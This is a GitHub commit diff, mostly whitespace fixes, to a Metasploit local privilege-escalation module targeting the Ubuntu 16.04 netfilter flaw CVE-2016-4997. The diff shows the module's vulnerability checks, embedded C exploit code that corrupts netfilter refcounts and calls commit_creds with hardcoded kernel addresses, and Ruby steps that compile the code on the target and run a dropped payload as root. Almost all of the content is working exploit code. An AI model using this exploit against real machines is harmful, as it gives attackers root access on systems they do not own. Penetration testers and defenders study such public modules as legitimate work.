Skip to content

Commit 4be4bcf

Browse files
committed
forgot updates
1 parent 1b7f706 commit 4be4bcf

File tree

1 file changed

+56
-55
lines changed

1 file changed

+56
-55
lines changed

modules/exploits/linux/local/ubuntu_netfilter.rb

Lines changed: 56 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66
require "msf/core"
77

88
class MetasploitModule < Msf::Exploit::Local
9+
Rank = GoodRanking
10+
911
include Msf::Post::File
1012
include Msf::Exploit::EXE
1113
include Msf::Exploit::FileDropper
@@ -19,7 +21,7 @@ def initialize(info = {})
1921
1. ip_tables.ko has to be loaded (root running iptables -L will do such)
2022
2. libc6-dev-i386 needs to be installed to compile
2123
Kernel 4.4.0-31-generic and newer are not vulnerable.
22-
24+
2325
We write the ascii files and compile on target instead of locally since metasm bombs for not
2426
having cdefs.h (even if locally installed)
2527
},
@@ -38,7 +40,7 @@ def initialize(info = {})
3840
'References' =>
3941
[
4042
[ 'EDB', '40049'],
41-
[ 'CVE', '2016-4997'],
43+
[ 'CVE', '2016-4997']
4244
]
4345
))
4446
register_options(
@@ -47,7 +49,7 @@ def initialize(info = {})
4749
OptString.new('MAXWAIT', [ true, 'Max time to wait for decrementation in seconds', 120 ])
4850
], self.class)
4951
end
50-
52+
5153
def check
5254
def iptables_loaded?()
5355
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
@@ -63,7 +65,7 @@ def iptables_loaded?()
6365
return iptables.include?('ip_tables')
6466
end
6567

66-
def libs_installed?()
68+
def libs_installed?()
6769
# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
6870
# libc6-dev-i386 install
6971
vprint_status('Checking if libc6-dev-i386 is installed')
@@ -75,7 +77,7 @@ def libs_installed?()
7577
end
7678
return lib.include?('install')
7779
end
78-
80+
7981
def shemsham_installed?()
8082
# we want this to be false.
8183
vprint_status('Checking if shem or sham are installed')
@@ -89,7 +91,7 @@ def shemsham_installed?()
8991
end
9092
return (shemsham.include?('shem') or shemsham.include?('sham'))
9193
end
92-
94+
9395
if libs_installed?() and iptables_loaded?() and not shemsham_installed?()
9496
return CheckCode::Appears
9597
else
@@ -104,7 +106,7 @@ def exploit
104106
pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
105107
payload_file = rand_text_alpha(8)
106108
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
107-
109+
108110
# direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
109111
decr = %q{
110112
#define _GNU_SOURCE
@@ -124,9 +126,9 @@ def exploit
124126
#include <linux/netlink.h>
125127
#include <fcntl.h>
126128
#include <sys/mman.h>
127-
129+
128130
#define MALLOC_SIZE 66*1024
129-
131+
130132
int decr(void *p) {
131133
int sock, optlen;
132134
int ret;
@@ -136,91 +138,91 @@ def exploit
136138
struct xt_entry_match *ematch;
137139
struct xt_standard_target *target;
138140
unsigned i;
139-
141+
140142
sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
141-
143+
142144
if (sock == -1) {
143145
perror("socket");
144146
return -1;
145147
}
146-
148+
147149
data = malloc(MALLOC_SIZE);
148-
150+
149151
if (data == NULL) {
150152
perror("malloc");
151153
return -1;
152154
}
153-
155+
154156
memset(data, 0, MALLOC_SIZE);
155-
157+
156158
repl = (struct ipt_replace *) data;
157159
repl->num_entries = 1;
158160
repl->num_counters = 1;
159161
repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
160162
repl->valid_hooks = 0;
161-
163+
162164
entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
163165
entry->target_offset = 74; // overwrite target_offset
164166
entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
165-
167+
166168
ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
167-
169+
168170
strcpy(ematch->u.user.name, "icmp");
169171
void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
170172
uint64_t *me = (uint64_t *)(kmatch + 0x58);
171173
*me = 0xffffffff821de10d; // magic number!
172-
174+
173175
uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
174176
*match = (uint32_t)kmatch;
175-
177+
176178
ematch->u.match_size = (short)0xffff;
177-
179+
178180
target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
179181
uint32_t *t = (uint32_t *)target;
180182
*t = (uint32_t)kmatch;
181-
183+
182184
printf("[!] Decrementing the refcount. This may take a while...\n");
183185
printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
184-
186+
185187
for (i = 0; i < 0xffffff/2+1; i++) {
186188
ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
187189
}
188-
190+
189191
close(sock);
190192
free(data);
191193
printf("[+] Done! Now run ./pwn\n");
192-
194+
193195
return 0;
194196
}
195-
197+
196198
int main(void) {
197199
void *stack;
198200
int ret;
199-
201+
200202
printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
201-
203+
202204
ret = unshare(CLONE_NEWUSER);
203-
205+
204206
if (ret == -1) {
205207
perror("unshare");
206208
return -1;
207209
}
208-
210+
209211
stack = (void *) malloc(65536);
210-
212+
211213
if (stack == NULL) {
212214
perror("malloc");
213215
return -1;
214216
}
215-
217+
216218
clone(decr, stack + 65536, CLONE_NEWNET, NULL);
217-
219+
218220
sleep(1);
219-
221+
220222
return 0;
221223
}
222224
}
223-
225+
224226
# direct copy of code from exploit-db
225227
pwn = %q{
226228
#include <stdio.h>
@@ -231,57 +233,56 @@ def exploit
231233
#include <fcntl.h>
232234
#include <sys/mman.h>
233235
#include <assert.h>
234-
236+
235237
#define MMAP_ADDR 0xff814e3000
236238
#define MMAP_OFFSET 0xb0
237-
239+
238240
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
239241
typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
240-
242+
241243
void __attribute__((regparm(3))) privesc() {
242244
commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
243245
prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
244246
commit_creds(prepare_kernel_cred((uint64_t)NULL));
245247
}
246-
248+
247249
int main() {
248250
void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
249251
assert(payload == (void *)MMAP_ADDR);
250-
252+
251253
void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
252-
254+
253255
memset(shellcode, 0, 0x300000);
254-
256+
255257
void *ret = memcpy(shellcode, &privesc, 0x300);
256258
assert(ret == shellcode);
257-
259+
258260
printf("[+] Escalating privs...\n");
259-
261+
260262
int fd = open("/dev/ptmx", O_RDWR);
261263
close(fd);
262-
264+
263265
assert(!getuid());
264-
266+
265267
printf("[+] We've got root!");
266-
267-
return execl("/bin/bash", "-sh", NULL);
268+
269+
return execl("/bin/bash", "-sh", NULL);
268270
}
269271
}
270-
272+
271273
# the original code printed a line. However, this is hard to detect due to threading.
272274
# so instead we can write a file in /tmp to catch.
273275
decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/,
274276
"int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" )
275-
277+
276278
# patch in to run our payload
277-
# patch in to run our payload as part of ksh
278279
pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,
279280
"execl(\"#{payload_path}\", NULL);")
280-
281+
281282
if check != CheckCode::Appears
282283
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
283284
end
284-
285+
285286
print_status "Writing desc executable to #{desc_file}.c"
286287
rm_f env_ready_file
287288
rm_f "#{desc_file}.c"
@@ -299,7 +300,7 @@ def exploit
299300
vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created."
300301
cmd_exec("chmod +x #{desc_file}; #{desc_file}")
301302
sec_waited = 0
302-
303+
303304
until sec_waited > datastore['MAXWAIT'] do
304305
Rex.sleep(1)
305306
if sec_waited % 10 == 0
@@ -313,7 +314,7 @@ def exploit
313314
write_file(payload_path, generate_payload_exe)
314315
cmd_exec("chmod 555 #{payload_path}")
315316
register_file_for_cleanup(payload_path)
316-
317+
317318
# now lets drop part 2, and finish up.
318319
print_status "Writing pwn executable to #{pwn_file}.c"
319320
rm_f pwn_file

0 commit comments

Comments
 (0)